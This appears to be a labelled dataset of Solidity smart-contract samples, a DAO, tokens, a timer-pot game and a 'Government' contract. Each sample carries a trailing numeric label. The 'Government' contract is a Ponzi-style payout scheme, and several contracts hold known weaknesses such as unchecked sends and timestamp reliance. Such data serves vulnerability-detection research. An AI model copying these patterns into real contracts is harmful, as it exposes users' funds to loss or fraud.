_mintShares(_summoners[i], _shares[i]);
_delegate(_summoners[i], _summoners[i]);
if (_summoners.length == 1) singleSummoner = true;
}
}
gracePeriod = _gracePeriod;
minVotingPeriod = _minVotingPeriod;
maxVotingPeriod = _maxVotingPeriod;
if (_sharesPaused) lootPaused = true;
sharesPaused = _sharesPaused;
name = _name;
symbol = _symbol;
status = 1;
emit SummonComplete(lootPaused, _sharesPaused, _gracePeriod, _minVotingPeriod, _maxVotingPeriod, _name, _symbol, _guildTokens, _shamans, _summoners, _loot, _shares);
}
function memberAction(
address shaman,
uint96 loot,
uint96 shares,
bool mint
) external nonReentrant payable returns (uint96 lootOut, uint96 sharesOut) {
require(shamans[shaman],'!shaman');
(lootOut, sharesOut) = IShaman(shaman).memberAction{value: msg.value}(msg.sender, loot, shares);
if (mint) {
if (lootOut != 0) _mintLoot(msg.sender, lootOut);
if (sharesOut != 0) _mintShares(msg.sender, sharesOut);
} else {
if (lootOut != 0) _burnLoot(msg.sender, lootOut);
if (sharesOut != 0) _burnShares(msg.sender, sharesOut);
}
}
function submitProposal(
uint8 flag,
uint32 votingPeriod,
address[] calldata to,
uint96[] calldata value,
bytes[] calldata data,
string calldata details
) external nonReentrant returns (uint proposal) {
require(minVotingPeriod <= votingPeriod && votingPeriod <= maxVotingPeriod,'!votingPeriod');
require(to.length <= 10,'array max');
require(flag <= 3,'!flag');
bool[4] memory flags;
flags[flag] = true;
if (flag == 2) {
if (value.length == 1) {
require(value[0] <= maxVotingPeriod,'over max');
} else if (value.length == 2) {
require(value[1] >= minVotingPeriod,'under min');
}
} else {
require(to.length == value.length && value.length == data.length,'!array parity');
}
bool selfSponsor;
if (balanceOf[msg.sender] != 0) selfSponsor = true;
unchecked {
proposalCount++;
proposals[proposalCount] = Proposal(
votingPeriod,
selfSponsor ? uint32(block.timestamp) : 0,
selfSponsor ? uint32(block.timestamp) + votingPeriod : 0,
0, 0, flags, to, value, data, details
);
}
emit SubmitProposal(flag, proposal, votingPeriod, to, value, data, details);
}
function sponsorProposal(uint proposal) external nonReentrant {
Proposal storage prop = proposals[proposal];
require(balanceOf[msg.sender] != 0,'!member');
require(prop.votingPeriod != 0,'!exist');
require(prop.votingStarts == 0,'sponsored');
prop.votingStarts = uint32(block.timestamp);
unchecked {
prop.votingEnds = uint32(block.timestamp) + prop.votingPeriod;
}
emit SponsorProposal(msg.sender, proposal, block.timestamp);
}
function submitVote(uint proposal, bool approved) external nonReentrant {
Proposal storage prop = proposals[proposal];
uint96 balance = getPriorVotes(msg.sender, prop.votingStarts);
require(prop.votingEnds >= block.timestamp,'ended');
require(!members[msg.sender].voted[proposal],'voted');
unchecked {
if (approved) {
prop.yesVotes += balance;
members[msg.sender].highestIndexYesVote = proposal;
} else {
prop.noVotes += balance;
}
}
members[msg.sender].voted[proposal] = true;
emit SubmitVote(msg.sender, balance, proposal, approved);
}
function submitVoteWithSig(
uint proposal,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external nonReentrant {
Proposal storage prop = proposals[proposal];
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), block.chainid, address(this)));
bytes32 structHash = keccak256(abi.encode(VOTE_TYPEHASH, proposal, approved));
bytes32 digest = keccak256(abi.encodePacked('\x19\x01', domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0),'!signatory');
uint96 balance = getPriorVotes(signatory, prop.votingStarts);
require(prop.votingEnds >= block.timestamp,'ended');
require(!members[signatory].voted[proposal],'voted');
unchecked {
if (approved) {
prop.yesVotes += balance; members[signatory].highestIndexYesVote = proposal;
} else {
prop.noVotes += balance;
}
}
members[signatory].voted[proposal] = true;
emit SubmitVote(signatory, balance, proposal, approved);
}
function processProposal(uint proposal) external nonReentrant {
Proposal storage prop = proposals[proposal];
_processingReady(proposal, prop);
if (prop.yesVotes > prop.noVotes)
proposalsPassed[proposal] = true;
if (prop.flags[0]) processActionProposal(prop);
else if (prop.flags[1]) processMemberProposal(prop);
else if (prop.flags[2]) processPeriodProposal(prop);
else processWhitelistProposal(prop);
delete proposals[proposal];
emit ProcessProposal(proposal);
}
function processActionProposal(Proposal memory prop) private {
unchecked {
for (uint i; i < prop.to.length; i++)
prop.to[i].call{value:prop.value[i]}
(prop.data[i]);
}
}
function processMemberProposal(Proposal memory prop) private {
unchecked {
for (uint i; i < prop.to.length; i++) {
if (prop.data[i].length == 0) {
_mintShares(prop.to[i], prop.value[i]);
} else {
uint96 removedBalance = uint96(balanceOf[prop.to[i]]);
_burnShares(prop.to[i], removedBalance);
_mintLoot(prop.to[i], removedBalance);
}
}
}
}
function processPeriodProposal(Proposal memory prop) private {
uint length = prop.value.length;
if (length == 1) {
if (prop.value[0] != 0) minVotingPeriod = uint32(prop.value[0]);
} else if (length == 2) {
if (prop.value[1] != 0) maxVotingPeriod = uint32(prop.value[1]);
} else if (length == 3) {
if (prop.value[2] != 0) gracePeriod = uint32(prop.value[2]);
} else if (length == 4) {
if (prop.value[3] != 0) flashFeeNumerator = uint32(prop.value[3]);
} else if (length == 5) {
prop.value[4] == 0 ? lootPaused = false : lootPaused = true;
} else if (length == 6) {
prop.value[5] == 0 ? sharesPaused = false : sharesPaused = true;
}
}
function processWhitelistProposal(Proposal memory prop) private {
unchecked {
for (uint i; i < prop.to.length; i++) {
if (prop.value[i] == 0 && prop.data[i].length == 0) {
shamans[prop.to[i]] = true;
} else if (prop.value[i] == 0 && prop.data[i].length != 0) {
shamans[prop.to[i]] = false;
} else if (prop.value[i] != 0 && prop.data[i].length == 0) {
if (guildTokens.length != MAX_GUILD_TOKEN_COUNT) guildTokens.push(prop.to[i]);
}
}
}
}
function approve(address to, uint amount) external returns (bool success) {
allowance[msg.sender][to] = amount;
emit Approval(msg.sender, to, amount);
success = true;
}
function delegate(address delegatee) external {
_delegate(msg.sender, delegatee);
}
function delegateBySig(
address delegatee,
uint nonce,
uint deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), block.chainid, address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, deadline));
bytes32 digest = keccak256(abi.encodePacked('\x19\x01', domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0),'!signatory');
unchecked {
require(nonce == nonces[signatory]++,'!nonce');
}
require(block.timestamp <= deadline,'expired');
_delegate(signatory, delegatee);
}
function permit(
address owner,
address spender,
uint96 amount,
uint deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), block.chainid, address(this)));
unchecked {
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked('\x19\x01', domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0),'!signatory');
require(signatory == owner,'!authorized');
}
require(block.timestamp <= deadline,'expired');
allowance[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transfer(address to, uint96 amount) external returns (bool success) {
require(!sharesPaused,'!transferable');
balanceOf[msg.sender] -= amount;
unchecked {
balanceOf[to] += amount;
}
_moveDelegates(delegates[msg.sender], delegates[to], amount);
emit Transfer(msg.sender, to, amount);
success = true;
}
function transferFrom(address from, address to, uint96 amount) external returns (bool success) {
require(!sharesPaused,'!transferable');
if (allowance[from][msg.sender] != type(uint).max) {
allowance[from][msg.sender] -= amount;
}
balanceOf[from] -= amount;
unchecked {
balanceOf[to] += amount;
}
_moveDelegates(delegates[from], delegates[to], amount);
emit Transfer(from, to, amount);
success = true;
}
function transferLoot(address to, uint96 amount) external {
require(!lootPaused,'!transferable');
members[msg.sender].loot -= amount;
unchecked {
members[to].loot += amount;
}
emit TransferLoot(msg.sender, to, amount);
}
function flashLoan(
address receiver,
address token,
uint amount,
bytes calldata data
) external returns (bool success) {
uint fee = flashFee(token, amount);
require(fee != 0,'uninitialized');
_safeTransfer(token, receiver, amount);
(,bytes memory _flashData) = receiver.call(abi.encodeWithSelector(0x23e30c8b, msg.sender, token, amount, fee, data));
bytes32 flashData = abi.decode(_flashData, (bytes32));
require(flashData == keccak256('ERC3156FlashBorrower.onFlashLoan'),'Callback failed');
_safeTransferFrom(token, receiver, address(this), amount + fee);
success = true;
}
function ragequit(address to, uint96 lootToBurn, uint96 sharesToBurn) external nonReentrant {
require(proposals[members[msg.sender].highestIndexYesVote].votingEnds == 0,'processed');
for (uint i; i < guildTokens.length; i++) {
(,bytes memory balanceData) = guildTokens[i].staticcall(abi.encodeWithSelector(0x70a08231, address(this)));
uint balance = abi.decode(balanceData, (uint));
uint amountToRagequit = ((lootToBurn + sharesToBurn) * balance) / (totalSupply + totalLoot);
if (amountToRagequit != 0) {
_safeTransfer(guildTokens[i], to, amountToRagequit);
}
}
if (lootToBurn != 0) {
_burnLoot(msg.sender, lootToBurn);
}
if (sharesToBurn != 0) {
_burnShares(msg.sender, sharesToBurn);
}
emit Ragequit(msg.sender, to, lootToBurn, sharesToBurn);
}
function getCurrentVotes(address account) external view returns (uint96 votes) {
uint nCheckpoints = numCheckpoints[account];
unchecked { votes = nCheckpoints != 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; }
}
function getPriorVotes(address account, uint timeStamp) public view returns (uint96 votes) {
require(timeStamp < block.timestamp,'!determined');
uint nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) return 0;
unchecked {
if (checkpoints[account][nCheckpoints - 1].fromTimeStamp <= timeStamp)
return checkpoints[account][nCheckpoints - 1].votes;
if (checkpoints[account][0].fromTimeStamp > timeStamp) return 0;
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2;
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromTimeStamp == timeStamp) return cp.votes;
else if (cp.fromTimeStamp < timeStamp) lower = center;
else upper = center - 1;
}
votes = checkpoints[account][lower].votes;
}
}
function getGuildTokens() external view returns (address[] memory tokens) {
tokens = guildTokens;
}
function getProposalFlags(uint proposal) external view returns (bool[4] memory flags) {
flags = proposals[proposal].flags;
}
function flashFee(address, uint amount) public view returns (uint fee) {
fee = amount * flashFeeNumerator / 10000;
}
function maxFlashLoan(address token) external view returns (uint max) {
(,bytes memory balanceData) = token.staticcall(abi.encodeWithSelector(0x70a08231, address(this)));
max = abi.decode(balanceData, (uint));
}
function multicall(bytes[] calldata data) external returns (bytes[] memory results) {
results = new bytes[](data.length);
unchecked {
for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
if (!success) {
if (result.length < 68) revert();
assembly { result := add(result, 0x04) }
revert(abi.decode(result, (string)));
}
results[i] = result;
}
}
}
function onERC721Received(address, address, uint, bytes calldata) external pure returns (bytes4 sig) {
sig = 0x150b7a02;
}
function onERC1155Received(address, address, uint, uint, bytes calldata) external pure returns (bytes4 sig) {
sig = 0xf23a6e61;
}
function onERC1155BatchReceived(address, address, uint[] calldata, uint[] calldata, bytes calldata) external pure returns (bytes4 sig) {
sig = 0xbc197c81;
}
receive() external payable {}
function _delegate(address delegator, address delegatee) private {
address currentDelegate = delegates[delegator];
delegates[delegator] = delegatee;
_moveDelegates(currentDelegate, delegatee, uint96(balanceOf[delegator]));
emit DelegateChanged(delegator, currentDelegate, delegatee);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) private {
unchecked {
if (srcRep != dstRep && amount != 0) {
if (srcRep != address(0)) {
uint srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum != 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = srcRepOld - amount;
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum != 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = dstRepOld + amount;
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
}
function _writeCheckpoint(address delegatee, uint nCheckpoints, uint96 oldVotes, uint96 newVotes) private {
uint32 timeStamp = uint32(block.timestamp);
unchecked {
if (nCheckpoints != 0 && checkpoints[delegatee][nCheckpoints - 1].fromTimeStamp == timeStamp) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(timeStamp, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function _burnLoot(address from, uint96 loot) private {
members[from].loot -= loot;
unchecked {
totalLoot -= loot;
}
emit TransferLoot(from, address(0), loot);
}
function _burnShares(address from, uint96 shares) private {
balanceOf[from] -= shares;
unchecked {
totalSupply -= shares;
}
_moveDelegates(delegates[from], address(0), shares);
emit Transfer(from, address(0), shares);
}
function _mintLoot(address to, uint96 loot) private {
unchecked {
if (totalSupply + loot <= type(uint96).max / 2) {
members[to].loot += loot;
totalLoot += loot;
emit TransferLoot(address(0), to, loot);
}
}
}
function _mintShares(address to, uint96 shares) private {
unchecked {
if (totalSupply + shares <= type(uint96).max / 2) {
balanceOf[to] += shares;
totalSupply += shares;
_moveDelegates(address(0), delegates[to], shares);
emit Transfer(address(0), to, shares);
}
}
}
function _processingReady(uint proposal, Proposal memory prop) private view returns (bool ready) {
unchecked {
require(proposal <= proposalCount,'!exist');
require(proposals[proposal - 1].votingEnds == 0,'prev!processed');
require(proposals[proposal].votingEnds != 0,'processed');
if (singleSummoner) return true;
if (prop.yesVotes > totalSupply / 2) return true;
require(prop.votingEnds + gracePeriod <= block.timestamp,'!ended');
ready = true;
}
}
function _safeTransfer(address token, address to, uint amount) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))),'transfer failed');
}
function _safeTransferFrom(address token, address from, address to, uint amount) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))),'transferFrom failed');
}
} | 0 | 1,686 |
pragma solidity ^0.4.21;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract YFT is StandardToken {
string public name = "Yi Fa Temple Token";
string public symbol = "YFT";
uint8 public decimals = 18;
uint public totalSupply = 10 ** 26;
function ()
payable
public
{
revert();
}
function YFT() public {
balances[msg.sender] = totalSupply;
}
} | 1 | 2,901 |
pragma solidity ^0.4.21;
contract LasVegas{
address owner;
address helper=0x30B3E09d9A81D6B265A573edC7Cc4C4fBc0B0586;
uint256 public TimeFinish = 0;
uint256 TimerResetTime = 7200;
uint256 TimerStartTime = 3600;
uint256 public Pot = 0;
uint16 PIncr = 10000;
uint16 DIVP = 6500;
uint16 POTP = 3500;
uint16 WPOTPART = 9000;
uint16 public DEVP = 350;
uint16 public HVAL = 2000;
uint256 BasicPrice = 1 finney;
struct Item{
address owner;
uint256 CPrice;
bool reset;
}
uint8 constant SIZE = 9;
Item[SIZE] public ItemList;
address public PotOwner;
event ItemBought(address owner, uint256 newPrice, uint256 newPot, uint256 Timer, string says, uint8 id);
event GameWon(address owner, uint256 paid, uint256 npot);
modifier OnlyOwner(){
if (msg.sender == owner){
_;
}
else{
revert();
}
}
function SetDevFee(uint16 tfee) public OnlyOwner{
require(tfee <= 500);
DEVP = tfee;
}
function SetHFee(uint16 hfee) public OnlyOwner {
require(hfee <= 10000);
require(hfee >= 1000);
HVAL = hfee;
}
function LasVegas() public {
var ITM = Item(msg.sender, BasicPrice, true );
ItemList[0] = ITM;
ItemList[1] = ITM;
ItemList[2] = ITM;
ItemList[3] = ITM;
ItemList[4] = ITM;
ItemList[5] = ITM;
ItemList[6] = ITM;
ItemList[7] = ITM;
ItemList[8] = ITM;
owner=msg.sender;
}
function Payout() public {
require(TimeFinish < block.timestamp);
require(TimeFinish > 1);
uint256 pay = (Pot * WPOTPART)/10000;
Pot = Pot - pay;
PotOwner.transfer(pay);
TimeFinish = 1;
for (uint8 i = 0; i <SIZE; i++ ){
ItemList[i].reset= true;
}
emit GameWon(PotOwner, pay, Pot);
}
function Buy(uint8 ID, string says) public payable {
require(ID < SIZE);
var ITM = ItemList[ID];
if (TimeFinish == 0){
TimeFinish = block.timestamp;
}
else if (TimeFinish == 1){
TimeFinish =block.timestamp + TimerResetTime;
}
uint256 price = ITM.CPrice;
if (ITM.reset){
price = BasicPrice;
}
if (TimeFinish < block.timestamp){
Payout();
msg.sender.transfer(msg.value);
}
else if (msg.value >= price){
if (!ITM.reset){
require(msg.sender != ITM.owner);
}
if ((msg.value - price) > 0){
msg.sender.transfer(msg.value - price);
}
uint256 LEFT = DoDev(price);
uint256 prev_val = 0;
uint256 pot_val = LEFT;
if (!ITM.reset){
prev_val = (DIVP * LEFT) / 10000;
pot_val = (POTP * LEFT) / 10000;
}
Pot = Pot + pot_val;
ITM.owner.transfer(prev_val);
ITM.owner = msg.sender;
uint256 incr = PIncr;
ITM.CPrice = (price * (10000 + incr)) / 10000;
uint256 TimeLeft = TimeFinish - block.timestamp;
if (TimeLeft< TimerStartTime){
TimeFinish = block.timestamp + TimerStartTime;
}
if (ITM.reset){
ITM.reset=false;
}
PotOwner = msg.sender;
emit ItemBought(msg.sender, ITM.CPrice, Pot, TimeFinish, says, ID);
}
else{
revert();
}
}
function DoDev(uint256 val) internal returns (uint256){
uint256 tval = (val * DEVP / 10000);
uint256 hval = (tval * HVAL) / 10000;
uint256 dval = tval - hval;
owner.transfer(dval);
helper.transfer(hval);
return (val-tval);
}
} | 1 | 5,505 |
contract Government {
uint32 public lastCreditorPayedOut;
uint public lastTimeOfNewCredit;
uint public profitFromCrash;
address[] public creditorAddresses;
uint[] public creditorAmounts;
address public corruptElite;
mapping (address => uint) buddies;
uint constant TWELVE_HOURS = 43200;
uint8 public round;
function Government() {
profitFromCrash = msg.value;
corruptElite = msg.sender;
lastTimeOfNewCredit = block.timestamp;
}
function lendGovernmentMoney(address buddy) returns (bool) {
uint amount = msg.value;
if (lastTimeOfNewCredit + TWELVE_HOURS < block.timestamp) {
msg.sender.send(amount);
creditorAddresses[creditorAddresses.length - 1].send(profitFromCrash);
corruptElite.send(this.balance);
lastCreditorPayedOut = 0;
lastTimeOfNewCredit = block.timestamp;
profitFromCrash = 0;
creditorAddresses = new address[](0);
creditorAmounts = new uint[](0);
round += 1;
return false;
}
else {
if (amount >= 10 ** 18) {
lastTimeOfNewCredit = block.timestamp;
creditorAddresses.push(msg.sender);
creditorAmounts.push(amount * 110 / 100);
corruptElite.send(amount * 5/100);
if (profitFromCrash < 10000 * 10**18) {
profitFromCrash += amount * 5/100;
}
if(buddies[buddy] >= amount) {
buddy.send(amount * 5/100);
}
buddies[msg.sender] += amount * 110 / 100;
if (creditorAmounts[lastCreditorPayedOut] <= address(this).balance - profitFromCrash) {
creditorAddresses[lastCreditorPayedOut].send(creditorAmounts[lastCreditorPayedOut]);
buddies[creditorAddresses[lastCreditorPayedOut]] -= creditorAmounts[lastCreditorPayedOut];
lastCreditorPayedOut += 1;
}
return true;
}
else {
msg.sender.send(amount);
return false;
}
}
}
function() {
lendGovernmentMoney(0);
}
function totalDebt() returns (uint debt) {
for(uint i=lastCreditorPayedOut; i<creditorAmounts.length; i++){
debt += creditorAmounts[i];
}
}
function totalPayedOut() returns (uint payout) {
for(uint i=0; i<lastCreditorPayedOut; i++){
payout += creditorAmounts[i];
}
}
function investInTheSystem() {
profitFromCrash += msg.value;
}
function inheritToNextGeneration(address nextGeneration) {
if (msg.sender == corruptElite) {
corruptElite = nextGeneration;
}
}
function getCreditorAddresses() returns (address[]) {
return creditorAddresses;
}
function getCreditorAmounts() returns (uint[]) {
return creditorAmounts;
}
} | 1 | 4,721 |
pragma solidity ^0.5.10;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TokenRecover is Ownable {
function recoverERC20(address tokenAddress, uint256 tokenAmount) public onlyOwner {
IERC20(tokenAddress).transfer(owner(), tokenAmount);
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract OperatorRole {
using Roles for Roles.Role;
event OperatorAdded(address indexed account);
event OperatorRemoved(address indexed account);
Roles.Role private _operators;
constructor() internal {
_addOperator(msg.sender);
}
modifier onlyOperator() {
require(isOperator(msg.sender));
_;
}
function isOperator(address account) public view returns (bool) {
return _operators.has(account);
}
function addOperator(address account) public onlyOperator {
_addOperator(account);
}
function renounceOperator() public {
_removeOperator(msg.sender);
}
function _addOperator(address account) internal {
_operators.add(account);
emit OperatorAdded(account);
}
function _removeOperator(address account) internal {
_operators.remove(account);
emit OperatorRemoved(account);
}
}
contract Contributions is OperatorRole, TokenRecover {
using SafeMath for uint256;
struct Contributor {
uint256 weiAmount;
uint256 tokenAmount;
bool exists;
}
uint256 private _totalSoldTokens;
uint256 private _totalWeiRaised;
address[] private _addresses;
mapping(address => Contributor) private _contributors;
constructor() public {}
function totalSoldTokens() public view returns (uint256) {
return _totalSoldTokens;
}
function totalWeiRaised() public view returns (uint256) {
return _totalWeiRaised;
}
function getContributorAddress(uint256 index) public view returns (address) {
return _addresses[index];
}
function getContributorsLength() public view returns (uint) {
return _addresses.length;
}
function weiContribution(address account) public view returns (uint256) {
return _contributors[account].weiAmount;
}
function tokenBalance(address account) public view returns (uint256) {
return _contributors[account].tokenAmount;
}
function contributorExists(address account) public view returns (bool) {
return _contributors[account].exists;
}
function addBalance(address account, uint256 weiAmount, uint256 tokenAmount) public onlyOperator {
if (!_contributors[account].exists) {
_addresses.push(account);
_contributors[account].exists = true;
}
_contributors[account].weiAmount = _contributors[account].weiAmount.add(weiAmount);
_contributors[account].tokenAmount = _contributors[account].tokenAmount.add(tokenAmount);
_totalWeiRaised = _totalWeiRaised.add(weiAmount);
_totalSoldTokens = _totalSoldTokens.add(tokenAmount);
}
function removeOperator(address account) public onlyOwner {
_removeOperator(account);
}
} | 1 | 3,863 |
pragma solidity ^0.5.7;
library SafeMath
{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0)
{
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256)
{
require(b != 0);
return a % b;
}
}
interface IERC20
{
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20
{
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256)
{
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256)
{
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool)
{
_transfer(msg.sender, to, value);
return true;
}
function transferBulk(address[] memory _toAccounts, uint256[] memory _tokenAmount) public returns (bool)
{
require(_toAccounts.length == _tokenAmount.length);
for(uint i=0; i<_toAccounts.length; i++)
{
_transfer(msg.sender, _toAccounts[i], _tokenAmount[i]);
}
return true;
}
function approve(address spender, uint256 value) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool)
{
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal
{
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal
{
require(account != address(0));
_totalSupply = _totalSupply.add(value);
require(_balances[account].add(value) <= 11111111111000000000000000000, "Cant mint > then 11†111†111†111");
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal
{
require(account != address(0));
